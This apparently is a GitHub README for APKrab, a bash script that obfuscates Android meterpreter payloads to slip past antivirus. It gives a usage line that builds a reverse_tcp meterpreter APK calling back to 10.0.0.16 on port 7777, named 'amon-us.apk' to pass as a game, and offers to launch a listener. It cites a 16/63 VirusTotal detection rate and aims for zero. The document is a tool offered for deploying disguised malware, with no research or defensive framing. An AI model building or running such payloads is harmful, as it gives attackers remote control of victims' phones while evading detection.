c04tl / apkrab

Dummy bash script to obfuscate android meterpreter by mixing names and permissions in AndroidManifest.xml

Inspired by

This script is inspired by jbreed's (Thanks a lot!)

Dependencies

To use APKrab you first need to install apktool and default-jdk

APKrab

APKrab is a dummy bash script to obfuscate android meterpreter by mixing names and permissions in AndroidManifest.xml and other files and directories

Usage

First we must give execution permissions with chmod +x APKrab.sh Then we can do for example: ./APKrab.sh -p android/meterpreter/reverse_tcp -H 10.0.0.16 -P 7777 -o amon-us.apk

APKrab also has default options we can use them with: ./APKrab.sh -g

At the end APKrab will ask to generate a msfvemon listener if so then it will ask to launch it

virustotal results (DONT UPLOAD YOUR SAMPLES TO VIRUSTOTAL)

In this example we hit 16/63 in virustotal so hope with the time and your modifications we can hit 0 flagged